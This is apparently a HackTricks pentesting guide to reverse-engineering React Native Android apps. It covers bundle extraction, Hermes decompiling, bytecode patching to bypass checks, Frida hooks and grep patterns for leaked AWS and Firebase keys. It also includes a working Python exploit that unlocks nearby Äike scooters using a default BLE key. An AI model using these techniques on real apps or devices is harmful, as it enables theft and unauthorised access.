react-native-application.md (17419B)
1 --- 2 title: "React Native Application Analysis" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/react-native-application.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/react-native-application.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # React Native Application Analysis 14 15 To confirm if the application was built on the React Native framework, follow these steps: 16 17 1. Rename the APK file with a zip extension and extract it to a new folder using the command `cp com.example.apk example-apk.zip` and `unzip -qq example-apk.zip -d ReactNative`. 18 19 2. Navigate to the newly created ReactNative folder and locate the assets folder. Inside this folder, you should find the file `index.android.bundle`, which contains the React JavaScript in a minified format. 20 21 3. Use the command `find . -print | grep -i ".bundle$"` to search for the JavaScript file. 22 23 Note: If you are given an Android App Bundle (.aab) instead of an APK, generate a universal APK first and then extract the bundle: 24 25 ```bash 26 # Get bundletool.jar and generate a universal APK set 27 java -jar bundletool.jar build-apks \ 28 --bundle=app-release.aab \ 29 --output=app.apks \ 30 --mode=universal \ 31 --overwrite 32 33 # Extract the APK and then unzip it to find assets/index.android.bundle 34 unzip -p app.apks universal.apk > universal.apk 35 unzip -qq universal.apk -d ReactNative 36 ls ReactNative/assets/ 37 ``` 38 39 ## Javascript Code 40 41 If checking the contents of the `index.android.bundle` you find the JavaScript code of the application (even if minified), you can **analyze it to find sensitive information and vulnerabilities**. 42 43 As the bundle contains actually all the JS code of the application it's possible to **divide it in different files** (potentially making easier its reverse engineering) using the **tool [react-native-decompiler](https://github.com/numandev1/react-native-decompiler)**.<sup>[[3]](#references)</sup> 44 45 ### Webpack 46 47 To further analyze the JavaScript code, you can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or follow these steps: 48 49 1. Create a file named `index.html` in the same directory with the following code: 50 51 ```html 52 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/index.android.bundle"></script> 53 ``` 54 55 2. Open the `index.html` file in Google Chrome. 56 57 3. Open the Developer Toolbar by pressing **Command+Option+J for OS X** or **Control+Shift+J for Windows**. 58 59 4. Click on "Sources" in the Developer Toolbar. You should see a JavaScript file that is split into folders and files, making up the main bundle. 60 61 If you find a file called `index.android.bundle.map`, you will be able to analyze the source code in an unminified format. Map files contain source mapping, which allows you to map minified identifiers. 62 63 To search for sensitive credentials and endpoints, follow these steps:<sup>[[1]](#references)</sup> 64 65 1. Identify sensitive keywords to analyze the JavaScript code. React Native applications often use third-party services like Firebase, AWS S3 service endpoints, private keys, etc. 66 67 2. In this specific case, the application was observed to be using the Dialogflow service. Search for a pattern related to its configuration. 68 69 3. It was fortunate that sensitive hard-coded credentials were found in the JavaScript code during the recon process. 70 71 ### Quick secrets/endpoint hunting in bundles 72 73 These simple greps often surface interesting indicators even in minified JS:<sup>[[2]](#references)</sup> 74 75 ```bash 76 # Common backends and crash reporters 77 strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)" 78 79 # Firebase / Google keys (heuristics) 80 strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})" 81 82 # AWS access key id heuristic 83 strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}" 84 85 # Expo/CodePush deployment keys 86 strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)" 87 88 # Sentry DSN 89 strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)" 90 ``` 91 92 If you suspect Over-The-Air update frameworks, also hunt for: 93 - Microsoft App Center / CodePush deployment keys 94 - Expo EAS Updates configuration (`expo-updates`, `expo\.io`, signing certs) 95 96 ### Change JS code and rebuild 97 98 In this case changing the code is easy. You just need to rename the app to use the extension `.zip` and extract it. Then you can **modify the JS code inside this bundle and rebuild the app**. This should be enough to allow you to **inject code** in the app for testing purposes. 99 100 101 ## Hermes bytecode 102 103 If the bundle contains **Hermes bytecode**, you **won't be able to access the Javascript code** of the app (not even to the minified version). 104 105 You can check if the bundle contains Hermes bytecode by running the following command: 106 107 ```bash 108 file index.android.bundle 109 index.android.bundle: Hermes JavaScript bytecode, version 96 110 ``` 111 112 However, you can use the tools **[hbctool](https://github.com/bongtrop/hbctool)**, updated forks of hbctool that support newer bytecode versions, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (Rust library/APIs), or **[hermes-dec](https://github.com/P1sec/hermes-dec)** to **disassemble the bytecode** and also to **decompile it to some pseudo JS code**. For example:<sup>[[5]](#references)</sup> 113 114 ```bash 115 # Disassemble and re-assemble with hbctool (works only for supported HBC versions) 116 hbctool disasm ./index.android.bundle ./hasm_out 117 # ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)... 118 hbctool asm ./hasm_out ./index.android.bundle 119 120 # Using hasmer (focus on disassembly; assembler/decompiler are WIP) 121 hasmer disasm ./index.android.bundle -o hasm_out 122 123 # Using hermes-dec to produce pseudo-JS 124 hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm 125 hbc-decompiler ./index.android.bundle /tmp/my_output_file.js 126 ``` 127 128 Tip: The open-source Hermes project also ships developer tools such as `hbcdump` in specific Hermes releases. If you build the matching Hermes version used to produce the bundle, `hbcdump` can dump functions, string tables, and bytecode for deeper analysis. 129 130 ### Change code and rebuild (Hermes) 131 132 Ideally you should be able to modify the disassembled code (changing a comparison, or a value or whatever you need to modify) and then **rebuild the bytecode** and rebuild the app. 133 134 - The original **[hbctool](https://github.com/bongtrop/hbctool)** supports disassembling the bundle and building it back after changes, but historically supported only older bytecode versions. Community-maintained forks extend support to newer Hermes versions (including mid-80s–96) and are often the most practical option to patch modern RN apps.<sup>[[5]](#references)</sup> 135 - The tool **[hermes-dec](https://github.com/P1sec/hermes-dec)** does not support rebuilding the bytecode (decompiler/disassembler only), but it’s very helpful to navigate logic and dump strings. 136 - The tool **[hasmer](https://github.com/lucasbaizer2/hasmer)** aims to support both disassembly and assembly for multiple Hermes versions; assembling is still maturing but worth trying on recent bytecode. 137 138 A minimal workflow with hbctool-like assemblers: 139 140 ```bash 141 # 1) Disassemble to HASM directories 142 hbctool disasm assets/index.android.bundle ./hasm 143 144 # 2) Edit a guard or feature flag (example: force boolean true) 145 # In the relevant .hasm, replace a LoadConstUInt8 0 with 1 146 # or change a conditional jump target to bypass a check. 147 148 # 3) Reassemble into a new bundle 149 hbctool asm ./hasm assets/index.android.bundle 150 151 # 4) Repack the APK and resign 152 zip -r ../patched.apk * 153 # Align/sign as usual (see Android signing section in HackTricks) 154 ``` 155 156 Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling. 157 158 ## Dynamic Analysis 159 160 For dynamic analysis, you can try using Frida to enable React Native developer support and attach **`react-native-debugger`**. Some published workflows assume access to the source code; against a release-only target, feasibility depends on which development classes and bundle metadata remain in the build. The linked walkthrough provides a practical example.<sup>[[7]](#references)</sup> 161 162 ### Enabling Dev Support in release with Frida (caveats) 163 164 Some apps accidentally ship classes that make Dev Support togglable. If present, you can try forcing `getUseDeveloperSupport()` to return true:<sup>[[7]](#references)</sup> 165 166 ```javascript 167 // frida -U -f com.target.app -l enable-dev.js 168 Java.perform(function(){ 169 try { 170 var Host = Java.use('com.facebook.react.ReactNativeHost'); 171 Host.getUseDeveloperSupport.implementation = function(){ 172 return true; // force dev support 173 }; 174 console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport'); 175 } catch (e) { 176 console.log('[-] Could not patch: ' + e); 177 } 178 }); 179 ``` 180 181 Warning: In properly built release builds, `DevSupportManagerImpl` and related debug-only classes are stripped and flipping this flag can crash the app or have no effect. When this works, you can typically expose the dev menu and attach debuggers/inspectors. 182 183 ### Network interception in RN apps 184 185 React Native Android typically relies on OkHttp under the hood (via the `Networking` native module). To intercept/observe traffic on a non-rooted device during dynamic tests: 186 - Use system proxy + trust user CA or use other generic Android TLS bypass techniques. 187 - RN-specific tip: if the app bundles Flipper in release by mistake (debug tooling), the Flipper Network plugin can expose requests/responses. 188 189 For generic Android interception and pinning bypass techniques refer to: 190 191 [Make Apk Accept Ca Certificate](/hacktricks/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate) 192 193 [Objection Tutorial](/hacktricks/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial) 194 195 ### Runtime GATT protocol discovery with Frida (Hermes-friendly) 196 197 When Hermes bytecode blocks easy static inspection of the JS, hook the Android BLE stack instead. `android.bluetooth.BluetoothGatt` and `BluetoothGattCallback` expose everything the app sends/receives, letting you reverse proprietary challenge-response and command frames without JS source.<sup>[[6]](#references)</sup> 198 199 <details> 200 <summary>Frida GATT logger (UUID + hex/ASCII dumps)</summary> 201 202 ```javascript 203 Java.perform(function () { 204 function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } 205 function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } 206 var G = Java.use('android.bluetooth.BluetoothGatt'); 207 var Cb = Java.use('android.bluetooth.BluetoothGattCallback'); 208 209 G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function (c) { 210 console.log(`\n>>> WRITE ${c.getUuid()}`); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); 211 return this.writeCharacteristic(c); 212 }; 213 G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic','[B','int').implementation = function (c,v,t) { 214 console.log(`\n>>> WRITE ${c.getUuid()} (type ${t})`); console.log(b2h(v)); console.log(b2a(v)); 215 return this.writeCharacteristic(c,v,t); 216 }; 217 Cb.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt','int','int').implementation = function (g,s,n) { 218 console.log(`*** STATE ${n} (status ${s})`); return this.onConnectionStateChange(g,s,n); 219 }; 220 Cb.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic','int').implementation = function (g,c,s) { 221 var v=c.getValue(); console.log(`\n<<< READ ${c.getUuid()} status ${s}`); console.log(b2h(v)); console.log(b2a(v)); 222 return this.onCharacteristicRead(g,c,s); 223 }; 224 Cb.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic').implementation = function (g,c) { 225 var v=c.getValue(); console.log(`\n<<< NOTIFY ${c.getUuid()}`); console.log(b2h(v)); 226 return this.onCharacteristicChanged(g,c); 227 }; 228 }); 229 ``` 230 </details> 231 232 Hook `java.security.MessageDigest` to fingerprint hash-based handshakes and capture the exact input concatenation: 233 234 <details> 235 <summary>Frida MessageDigest tracer (algorithm, input, output)</summary> 236 237 ```javascript 238 Java.perform(function () { 239 var MD = Java.use('java.security.MessageDigest'); 240 MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); }; 241 MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); }; 242 MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; }; 243 MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); }; 244 }); 245 ``` 246 </details> 247 248 A real-world BLE flow recovered this way: 249 - Read challenge from `00002556-1212-efde-1523-785feabcd123`. 250 - Compute `response = SHA1(challenge || key)` where the **key was a 20-byte default of 0xFF** provisioned across all devices. 251 - Write the response to `00002557-1212-efde-1523-785feabcd123`, then issue commands on `0000155f-1212-efde-1523-785feabcd123`. 252 253 Once authenticated, commands were 10-byte frames to `...155f...` (`[0]=0x00`, `[1]=registry 0xD4`, `[3]=cmd id`, `[7]=param`). Examples: unlock `00 D4 00 01 00 00 00 00 00 00`, lock `...02...`, eco-mode on `...03...01...`, open battery `...04...`. Notifications arrived on `0000155e-1212-efde-1523-785feabcd123` (2-byte registry + payload), and registry values could be polled by writing the registry ID to `00001564-1212-efde-1523-785feabcd123` then reading back from `...155f...`. 254 255 With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC: 256 257 <details> 258 <summary>Python (bleak) BLE auth + unlock via default key</summary> 259 260 ```python 261 import asyncio, hashlib 262 from bleak import BleakClient, BleakScanner 263 CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123" 264 265 def filt(d,_): return d.name and d.name in ["AIKE","AIKE_T","AIKE_11"] 266 async def main(): 267 dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) 268 if not dev: return 269 async with BleakClient(dev.address) as c: 270 chal = await c.read_gatt_char(CHAL) 271 resp = hashlib.sha1(chal + b'\xff'*20).digest() 272 await c.write_gatt_char(RESP, resp, response=False) 273 await c.write_gatt_char(CMD, bytes.fromhex('00 d4 00 01 00 00 00 00 00 00'), response=False) 274 await asyncio.sleep(0.5) 275 asyncio.run(main()) 276 ``` 277 </details> 278 279 ## Recent issues in popular RN libraries (what to look for) 280 281 When auditing third‑party modules visible in the JS bundle or native libs, check for known vulns and verify versions in `package.json`/`yarn.lock`. 282 283 - react-native-mmkv (Android): versions prior to 2.11.0 logged the optional encryption key to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.<sup>[[4]](#references)</sup> 284 - react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. Validate inputs and library version. 285 286 Quick checks: 287 288 ```bash 289 grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true 290 grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true 291 # If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock 292 ``` 293 294 ## References 295 296 - [1] [Let's know how I have explored the buried secrets in React Native application](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7) 297 - [2] [Expanding the attack surface: React Native Android applications](https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications) 298 - [3] [Mastering React Native Application Pentesting - A Practical Guide](https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf) 299 - [4] [CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-21668) 300 - [5] [hbctool (and forks) for Hermes assemble/disassemble](https://github.com/bongtrop/hbctool) 301 - [6] [Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter](https://blog.nns.ee/2026/01/06/aike-ble/) 302 - [7] [Hooking React Native Applications with Frida](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/)